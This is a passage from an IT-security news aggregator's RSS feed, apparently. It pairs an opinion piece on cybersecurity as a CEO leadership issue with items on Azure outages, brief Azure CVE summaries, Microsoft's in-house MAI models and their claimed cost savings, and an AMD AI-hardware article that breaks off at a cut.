<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bad Brains: Azure Five Hour Outage Was Microsoft AI Demonstration]]></title>
<description><![CDATA[Microsoft spent early July marketing AI as the thing that keeps Azure running. That’s right, get ready to blame AI when Azure goes down. CTO Mark Russinovich introduced the awkwardly named Brain, an AIOps system described as a “digital twin” of Azure’s own health, credited with powering deploymen...]]></description>
<link>https://tsecurity.de/de/3691205/it-security-nachrichten/bad-brains-azure-five-hour-outage-was-microsoft-ai-demonstration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691205/it-security-nachrichten/bad-brains-azure-five-hour-outage-was-microsoft-ai-demonstration/</guid>
<pubDate>Fri, 24 Jul 2026 11:58:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft spent early July marketing AI as the thing that keeps Azure running. That’s right, get ready to blame AI when Azure goes down. CTO Mark Russinovich introduced the awkwardly named Brain, an AIOps system described as a “digital twin” of Azure’s own health, credited with powering deployment safeguards and outage declaration, and billed as … <a href="https://www.flyingpenguin.com/bad-brains-azure-five-hour-outage-was-microsoft-ai-demonstration/" class="more-link">Continue reading <span class="screen-reader-text">Bad Brains: Azure Five Hour Outage Was Microsoft AI Demonstration</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft and Databricks target AI business context gains in partnership expansion]]></title>
<description><![CDATA[Deeper integration of Databricks Genie within Azure aims to build more context-aware AI]]></description>
<link>https://tsecurity.de/de/3691156/it-security-nachrichten/microsoft-and-databricks-target-ai-business-context-gains-in-partnership-expansion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691156/it-security-nachrichten/microsoft-and-databricks-target-ai-business-context-gains-in-partnership-expansion/</guid>
<pubDate>Fri, 24 Jul 2026 11:41:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Deeper integration of Databricks Genie within Azure aims to build more context-aware AI]]></content:encoded>
</item>
<item>
<title><![CDATA[[NEU] [hoch] Microsoft Azure, Copilot, Exchange, Surface: Mehrere Schwachstellen]]></title>
<description><![CDATA[Ein Angreifer kann mehrere Schwachstellen in Microsoft Azure, Microsoft 365 Copilot, Microsoft Exchange und Microsoft Apps Surface ausnutzen, um seine Privilegien zu erhöhen, beliebigen Code auszuführen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.]]></description>
<link>https://tsecurity.de/de/3691152/it-security-nachrichten/neu-hoch-microsoft-azure-copilot-exchange-surface-mehrere-schwachstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691152/it-security-nachrichten/neu-hoch-microsoft-azure-copilot-exchange-surface-mehrere-schwachstellen/</guid>
<pubDate>Fri, 24 Jul 2026 11:41:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein Angreifer kann mehrere Schwachstellen in Microsoft Azure, Microsoft 365 Copilot, Microsoft Exchange und Microsoft Apps Surface ausnutzen, um seine Privilegien zu erhöhen, beliebigen Code auszuführen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58275 | Microsoft Azure DNS improper authorization (EUVD-2026-48460)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in Microsoft Azure DNS. This impacts an unknown function. The manipulation results in improper authorization.

This vulnerability is reported as CVE-2026-58275. The attack can be launched remotely. No exploit exists.

This product is a man...]]></description>
<link>https://tsecurity.de/de/3690652/sicherheitsluecken/cve-2026-58275-microsoft-azure-dns-improper-authorization-euvd-2026-48460/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690652/sicherheitsluecken/cve-2026-58275-microsoft-azure-dns-improper-authorization-euvd-2026-48460/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/microsoft:azure_dns">Microsoft Azure DNS</a>. This impacts an unknown function. The manipulation results in improper authorization.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-58275">CVE-2026-58275</a>. The attack can be launched remotely. No exploit exists.

This product is a managed service. It is not possible for users to maintain vulnerability countermeasures themselves.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-62825 | Microsoft Azure Key Vault improper authentication (EUVD-2026-48459)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in Microsoft Azure Key Vault. Affected is an unknown function. This manipulation causes improper authentication.

This vulnerability appears as CVE-2026-62825. The attack may be initiated remotely. There is no available exploit.

This product ...]]></description>
<link>https://tsecurity.de/de/3690650/sicherheitsluecken/cve-2026-62825-microsoft-azure-key-vault-improper-authentication-euvd-2026-48459/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690650/sicherheitsluecken/cve-2026-62825-microsoft-azure-key-vault-improper-authentication-euvd-2026-48459/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_key_vault">Microsoft Azure Key Vault</a>. Affected is an unknown function. This manipulation causes improper authentication.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-62825">CVE-2026-62825</a>. The attack may be initiated remotely. There is no available exploit.

This product is a managed service. This means that users cannot maintain vulnerability countermeasures themselves.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-35425 | Microsoft Azure API Management access control (EUVD-2026-48455)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Microsoft Azure API Management. The impacted element is an unknown function. Executing a manipulation can lead to improper access controls.

This vulnerability is registered as CVE-2026-35425. It is possible to launch the attack remotely. No e...]]></description>
<link>https://tsecurity.de/de/3690647/sicherheitsluecken/cve-2026-35425-microsoft-azure-api-management-access-control-euvd-2026-48455/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690647/sicherheitsluecken/cve-2026-35425-microsoft-azure-api-management-access-control-euvd-2026-48455/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:27 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_api_management">Microsoft Azure API Management</a>. The impacted element is an unknown function. Executing a manipulation can lead to improper access controls.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-35425">CVE-2026-35425</a>. It is possible to launch the attack remotely. No exploit is available.

This product is a managed service. This means that users are not able to maintain vulnerability countermeasures themselves.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft fiber foul-up cut off Azure California for almost five hours]]></title>
<description><![CDATA[Maintenance mistake caused immediate issues and took out 27 services and]]></description>
<link>https://tsecurity.de/de/3690549/it-nachrichten/microsoft-fiber-foul-up-cut-off-azure-california-for-almost-five-hours/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690549/it-nachrichten/microsoft-fiber-foul-up-cut-off-azure-california-for-almost-five-hours/</guid>
<pubDate>Fri, 24 Jul 2026 03:51:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maintenance mistake caused immediate issues and took out 27 services and]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



